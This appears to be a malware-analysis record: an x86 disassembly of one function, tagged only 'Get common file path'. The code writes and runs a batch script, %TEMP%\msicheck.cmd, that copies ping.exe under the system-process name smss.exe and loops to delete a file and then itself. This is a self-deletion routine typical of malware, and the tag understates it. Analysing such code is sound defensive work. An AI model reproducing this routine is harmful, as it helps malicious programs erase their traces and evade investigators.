Function at 0x413d0e
Capabilities:
Get common file path

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x644
mov dword [ebp - 0x644], ecx
push 1
push 0x208
lea edx, [ebp - 0x210]
mov ecx, dword [ebp - 0x644]
call fcn.00415b6c
movzx eax, al
test eax, eax
je 0x413ee6
push str..cmd
lea eax, [ebp - 0x210]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 2
lea edx, [ebp - 0x210]
mov ecx, dword [ebp - 0x644]
call fcn.00411abb
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 0
je 0x413ee6
push str.echo_del__0______TEMP_msicheck.cmd__necho_copy__y___SYSTEMROOT__system32ping.exe____TEMP__smss.exe_______TEMP_msicheck.cmd__necho_:z______TEMP_msicheck.cmd__necho_del__1______TEMP_msicheck.cmd__necho___TEMP__smss.exe__127.1__n
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.echo_del__0______TEMP_msicheck.cmd__necho_copy__y___SYSTEMROOT__system32ping.exe____TEMP__smss.exe_______TEMP_msicheck.cmd__necho_:z______TEMP_msicheck.cmd__necho_del__1______TEMP_msicheck.cmd__necho___TEMP__smss.exe__127.1__n
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x644]
call fcn.004119b9
push 0x14
push 0x4270d0
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.USER32.dll_wsprintfA]
add esp, 0xc
lea eax, [ebp - 0x640]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
lea eax, [ebp - 0x640]
push eax
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x644]
call fcn.004119b9
push str.______TEMP_msicheck.cmd__necho_attrib__s__h__1______TEMP_msicheck.cmd__necho_if_exist__1_goto_z______TEMP_msicheck.cmd__necho_del___TEMP__smss.exe_______TEMP_msicheck.cmd__necho_del___TEMP_msicheck.cmd_______TEMP_msicheck.cmd__n__SYSTEMROOT__system32cmd.exe___c___TEMP_msicheck.cmd__n
call dword [sym.imp.KERNEL32.dll_lstrlenA]
push eax
push str.______TEMP_msicheck.cmd__necho_attrib__s__h__1______TEMP_msicheck.cmd__necho_if_exist__1_goto_z______TEMP_msicheck.cmd__necho_del___TEMP__smss.exe_______TEMP_msicheck.cmd__necho_del___TEMP_msicheck.cmd_______TEMP_msicheck.cmd__n__SYSTEMROOT__system32cmd.exe___c___TEMP_msicheck.cmd__n
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x644]
call fcn.004119b9
mov edx, dword [ebp - 4]
mov ecx, dword [ebp - 0x644]
call fcn.00411aa5
push 0x104
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
mov dword [ebp - 8], eax
cmp dword [ebp - 8], 0
je 0x413e30
cmp dword [ebp - 8], 0x104
jae 0x413e30
push 0x426f80
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
jmp 0x413e42
push str.cmd.exe
lea eax, [ebp - 0x418]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
push str.__c
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcpyW]
lea eax, [ebp - 0x210]
push eax
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4270e0
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4270e4
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
mov ecx, dword [ebp - 0x644]
call fcn.00415c32
push eax
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
push 0x4270e4
lea eax, [ebp - 0x620]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatW]
lea eax, [ebp - 4]
push eax
lea eax, [ebp - 0x620]
push eax
lea edx, [ebp - 0x418]
mov ecx, dword [ebp - 0x644]
call fcn.004137e7
movzx eax, al
test eax, eax
je 0x413ee6
push 0xa
call dword [sym.imp.KERNEL32.dll_Sleep]
mov al, 1
jmp 0x413ee8
xor al, al
leave
ret